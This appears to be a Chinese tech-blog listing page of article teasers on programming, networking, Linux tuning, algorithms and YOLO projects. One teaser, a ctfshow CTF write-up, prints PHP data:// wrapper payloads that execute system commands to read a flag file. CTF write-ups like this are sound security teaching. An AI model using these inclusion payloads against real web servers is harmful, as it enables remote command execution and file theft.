Linux操作命令

自己感觉好点的东西

NamedThreadFactory 命名线程工厂 ThreadPool 线程池 init（）init() 方法是个静态方法，它的核心作用是：当找不到线程池配置文件时，自动创建并写入默认配置。Properties 继承自 Hashtable，本质是…

Nestjs框架: 微服务架构拆分原则与实战指南

微服务拆分的核心价值微服务架构的核心优势在于局部更新能力。当需要修改特定功能时，只需更新对应服务的代码并部署为独立镜像，通过暴露接口（如RESTful API/gRPC服务）供其他服务调用。相较于单体应用，这避免了全局停机…

11月4日星期二今日早报简报微语报早读

11月4日星期二，农历九月十五，早报#微语早读。1、外交部：11月10日起对瑞典免签，延长对法国等国免签至2026年底；2、港媒：中国香港奥运冠军江旻憓确认将参加香港立法会选举；3、美团正式上线LongCat…

红帽Linux-调优系统性能

1.2 安装并启用 tuned  默认情况下，RHEL9 的最小安装中包含并启用了 tuned 软件包  如需要手动安装并启用该软件包：dnf install tunedsystemctl enable --now tuned1.3 选择调优配置文件1.4 从命令行管理配置文件  tuned-adm 命令用于更改 tuned 守…

Android 开发问题：terminating with uncaught exception of type std::bad_alloc: std::bad_alloc

在 Android Studio 中，打包 APK 时，出现如下错误信息 AAPT2 process unexpectedly exit. Error output: terminating with uncaught exception of type std::bad_alloc: std::bad_alloc# 解读AAPT2 进程意外退出。错误输出： 因未捕获的 std::…

算法--二分查找

算法原理 1.二分算法的特点：与其他算法相比，在未了解本质的情况下是最恶心、细节最多、最容易写出死循环的算法，但当我们了解了二分算法的本质后，他将变得十分轻松 2.学习的侧重点 1.算法原理（***很重要）…

ctfshow web 命令执行 37~54

#两天超大杯 web 37 普通的文件包含，那就只说一种方法好了： ?cdata://text/plain,<?system(tac fla?.php);?>web 38 跟上题差不多，改一下就行： ?cdata://text/plain,<?system(tac fla*);?>web 39 在最后面加了…

Nginx代理配置的“双斜杠陷阱“：从IP到域名的完整排查与解决指南

问题背景在部署Vue前端Node后端项目时，前端调用/api/login接口始终返回404错误。后端服务通过curl测试正常，但Nginx代理层出现诡异的//login路径，导致后端拒绝处理。 🚨 问题重现（关键场景） 场景1&#…

一、HCL（OSPF 多区域组网与全网互通实验）4.1

一、使用软件HCL_v5.10.3-Setup.exe二、实验设备路由器：5 台 MSR36-20（R1、R2、R3、R4、R5）三、实验要求1. 按照图示配置 IP 地址；2. 按区域划分配置 OSPF（area0 为骨干区域，area1、area2 为非骨干…

状态压缩DP

状压DP 简介状压 DPDPDP 就是把每个元素是否存在于一个集合中的情况用一个二进制数表示，来作为 DPDPDP 的一个阶段，通常我们会利用计算机超快的位运算对这个集合进行操作。状压 DPDPDP 主要分为以下两类： 1.集合类 2.棋盘类&#xff…

量子计算的突破：从理论实验走向商业化的新时代

在过去的几十年里，计算机技术的发展遵循摩尔定律不断演进，但随着晶体管尺寸逼近物理极限，传统计算架构的性能提升逐渐遇到瓶颈。量子计算（Quantum Computing）的崛起，为信息处理带来了全新的思维模式。它通过…

构建AI智能体：八十四、大模型涌现能力的解构分析：从量变到质变的神秘跃迁

一、前言涌现能力是指当系统复杂度达到某个阈值时，整体表现出其组成部分所不具备的新特性，它描述了当模型规模达到某个临界点时，突然出现的新能力和行为模式。这种现象不能简单地通过分析模型的组成部分来预测，而是整体系统在复杂…

告别无效群发！灵梭RPA助力企业实现社交媒体精准自动化获客

摘要：企业运营是否疲于在各大社交平台手动寻找客户？效率低、成本高、精准度难保证。本文将介绍如何利用灵梭RPA（机器人流程自动化），通过自动化监控、AI智能筛选、个性化私信，在抖音、小红书等技术社区实现精…

【电力AI毕设首选】基于YOLOv5的电力设备智能监控系统：电线、电塔、设备与工人检测全流程实战

文章目录【电力AI毕设首选】基于YOLOv5的电力设备智能监控系统：电线、电塔、设备与工人检测全流程实战一、项目价值：为什么做电力设备监控？二、技术基石：YOLOv5在电力检测中的优势三、数据集：从“构建”到“喂饱模型” 1. 数据集从哪来？ 2. 数据集怎么处理？四、模型…

深度学习项目实战：基于YOLOv5/8/10的电动车识别系统开发（从数据构建到模型部署）

毕设突破：从0到1搭建基于YOLOv5/8/10的公共场所电动车识别系统，让你的毕设更具实用价值文章目录毕设突破：从0到1搭建基于YOLOv5/8/10的公共场所电动车识别系统，让你的毕设更具实用价值项目背景与价值：为什么选择公共场所电动车识别？第一步：理清逻辑，理解电动车识别…

《Godot轻量化开发的全流程进阶指南》

工具选择往往成为创意落地的关键变量，许多开发者怀揣独特构想，却在主流商业引擎的厚重门槛前望而却步—动辄数十GB的安装包、繁杂的环境配置、陡峭的学习曲线，以及隐藏的授权成本，都在无形中消耗着创作热情。而Godot引擎的出现，它以不足500MB的安装体积，打破了“功能全面…

基于单片机的温度检测(0~128℃)(程序+仿真) 5064

博主福利：100G电子设计资料合集https://mp.weixin.qq.com/mp/homepage?__bizMzU3OTczMzk5Mg&hid7&snad5d5d0f15df84f4a92ebf72f88d4ee8 功能描述 1、采用51单片机作为主控芯片 2、采用18B20传感器检测温度 3、采用1602显示温度，0~128 仿真…

滑动窗口极值求解全解析

第二行输出，从左至右，每个位置滑动窗口中的最大值。数据范围1≤n≤1e6 1≤k≤n输入样例：8 3 1 3 -1 -3 5 3 6 7输出样例：-1 -3 -3 -3 3 3 3 3 5 5 6 7为了高效解决（O(n) 时间），我们使用一个模拟…

FPGA—ZYNQ学习GPIO-EMIO，MIO,AXIGPIO(五）

通过zynq实现mio以及EMIO和axigpio去控制外部设备。对GPIO 以及库文件进行讲解emio 和mio都是通过ps端控制的，mio是ps通过gpio口直接连接到输出管脚，这里是直接从ps端口直接到输出管脚。emio是ps通过gpio到pl侧在连接到输出管脚需要再PL测进行引脚分配。…

YoloV8改进策略：下采样改进|IPFA，下采样|信息保留特征聚合模块|即插即用

摘要本文介绍一种信息保留特征聚合的下采样模块IPFA，用下采样模块替换步长为2的卷积模块，适用于Yolo系列的改进。我本次使用YoloV8演示如何将IPFA加入到Yolo中。 📄 论文信息模型名称：IF-YOLO（Information-preservin…

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